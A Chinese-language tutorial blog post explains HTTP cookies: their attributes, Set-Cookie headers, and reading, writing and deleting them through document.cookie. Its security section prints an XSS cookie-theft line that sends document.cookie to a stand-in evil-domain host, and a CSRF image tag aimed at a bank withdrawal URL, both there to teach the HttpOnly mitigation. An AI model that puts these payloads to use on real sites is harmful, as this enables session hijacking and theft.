文章已收錄到我的 GitHub 中,歡迎 star
cookie 是什么和使用場景
cookie 是服務器端保存在瀏覽器的一小段文本資訊,瀏覽器每次向服務器端發出請求,都會附帶上這段資訊(不是所有都帶上,具體的下文會介紹),
使用場景:
- 對話管理:保存登錄、購物車等需要記錄的資訊
- 個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等
- 追蹤:記錄和分析用戶的行為
以上用得較多的還是第一種場景,
我們有時候用
cookie作為客戶端儲存,可行但不推薦,因為cookie本身大小有所限制,而且會影響性能,存盤還是應該考慮localStorage、sesseionStorage或者indexDB
cookie 的幾個重要屬性
在了解各個屬性之前,我們先打開瀏覽器除錯——Application——Cookies——選中一個域,
上面就會有這些 cookie 的名稱,值,Domain,Path,Expires/Max-age,Size,HTTP,Secure,
我們接下來就是要講這里面幾個重要的點:
Expires 和 Max-Age
這兩個屬性涉及到 cookie 的存活時間,
Expires 屬性指定一個具體的到期時間,到了這個指定的時間之后,瀏覽器就不再保留這個 cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式進行轉換,
設定如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Max-Age 屬性制定了從現在開始 cookie 存在的秒數,比如 60 * 60 * 24 * 365(即一年),過了這個時間以后,瀏覽器就不再保留這個 Cookie,
Max-Age 的優先級會比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客戶端的時間可能有誤)比較小,
如果兩者都不設定的,那么這個 cookie 就是Session Cookie,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie,
Domain 和 path
這兩個屬性決定了,HTTP 請求的時候,哪些請求會帶上哪些 Cookie,具體下面會做講解,
Secure 和 HttpOnly
Secure 屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器,另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的 Secure 屬性,該屬性只是一個開關,不需要指定值,如果通信是 HTTPS 協議,該開關自動打開,
設定了 Secure 這個屬性,那么就會在 Secure 這一欄打鉤,
HttpOnly 屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是 Document.cookie 屬性、XMLHttpRequest 物件和Request API都拿不到該屬性,這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie,
設定了 HttpOnly 這個屬性,那么就會在 HTTP 這一欄打鉤
cookie 和 HTTP 協議
HTTP response——cookie 生成
如果服務器端希望在瀏覽器種 cookie,那么它只需要在 HTTP 請求頭資訊中,放置一個 Set-Cookie 的欄位,舉個例子:
Set-Cookie:foo=bar
那么就會在瀏覽器種保存一個名為 foo,值為 bar 的 cookie,
除了值之外,還可以設定其他的屬性,
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
當然,一個 Set-Cookie 欄位是可以同時包含多個屬性(而且沒有次序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
注意一點就是,如果你想要使用
Set-Cookie修改一個已經存在的cookie的值,那么要注意,你必須匹配原有的所有的屬性值(如果存在的話),否則就會生成一個新的cookie,而不是修改它的值,
比如,原有的 cookie 為:
Set-Cookie: key1=value1; domain=example.com; path=/blog
那么你正確的修改方式應該是:
Set-Cookie: key1=value2; domain=example.com; path=/blog
如果你的修改方式如下的話:
Set-Cookie: key1=value2; domain=example.com; path=/
就會在瀏覽器端設定兩個同名的 cookie 如下:
Cookie: key1=value1; key1=value2
這不是我們希望看到的!
HTTP request——cookie 發送
這里涉及到一個問題,是不是每個請求我們都會帶上所有的 cookie,顯然不是的,要不性能就會十分低下了,那么瀏覽器是根據什么判別哪些請求會帶上哪些 cookie 呢?
這就跟 Domain 和 path 屬性息息相關了
比如,現在一個 cookie 它的 Domain 屬性為 www.example.com,path 屬性值為 /,意味著,這個 cookie 對該域的根路徑以及它的所有子路徑都有效,如果我們修改了它的 path 值,為 /forums,那么這個 cookie 只要在訪問 www.example.com/forums 及其子路徑時才會帶上,
cookie 和安全
會話劫持和XSS
在 Web 應用中,cookie 常用來標記用戶或授權會話,如果這些資訊(cookie)會被竊取,可能導致授權用戶的會話從而網頁收到攻擊,比如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 型別的 cookie 就可以組織 Js 對其的訪問從而緩解這種攻擊
跨站點請求偽造(CSRF)
比如某個網站的圖片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當你打開這個圖片的時候,如果你登錄之前的銀行賬號而且 cookie 仍然有效(還沒有其他驗證的步驟,有點極端),那么你的賬戶就有可能有危險了,
cookie 自動洗掉和手動洗掉
在了解 cookie 自動洗掉之前,我們先來了解小 cookie 的一些限制條件:
- 發送到服務器端的所有
cookie的最大數量不能超出 4kb,所有超出該限制的cookie都會被截斷并且不會發送到服務器端, - IE7 以后限制每個域名下
cookie的數量不得超過 50 個,Opera限定cookie的數量為 30個,Safari和Chrome就沒有這種限制,
其限制的原因,主要在于阻止 cookie 的濫用,而且 cookie 會被發送到服務器端,如果數量太大的話,會嚴重影響請求的性能,以上這兩個限制條件,就是 cookie 為什么會被瀏覽器自動洗掉的原因了,
自動洗掉主要存在以下幾種可能:
- 會話
cookie(session cookie)在會話結束的時候(瀏覽器關閉)會被洗掉, - 持久化
cookie(Persistent cookie)在到達失效日期的時候會被洗掉, - 瀏覽器的
cookie達到上限,會自動清除,然后為新建的cookie騰出空間,
document.cookie
對于前端而言,我們獲取 cookie 和設定 cookie 都是通過 document.cookie 的方式進行的,
讀取 cookie
獲取如下(當然是這個 cookie 沒有 HttpOnly 屬性),
可以看到,document.cookie 是將所有的可以讀的 cookie 一次性讀出來的,使用分號分割,所以必須手動的分割,
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
寫入cookie
我們可以通過 document.cookie 為當前的網站添加 cookie
document.cookie = 'fontSize=14';
寫入的時候,Cookie 的值必須寫成 key=value 的形式,注意,等號兩邊不能有空格,另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用 encodeURIComponent 方法達到,
但是,document.cookie一次只能寫入一個 Cookie,而且寫入并不是覆寫,而是添加,
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性,
例如:
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
洗掉 cookie
洗掉一個現存 Cookie 的唯一方法,是設定它的 expires 屬性為一個過去的日期,
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
參考
https://javascript.ruanyifeng.com/bom/cookie.html#toc5
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies
https://segmentfault.com/a/1190000004556040#articleHeader6
https://javascript.ruanyifeng.com/bom/cookie.html#toc5
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/501842.html
標籤:其他
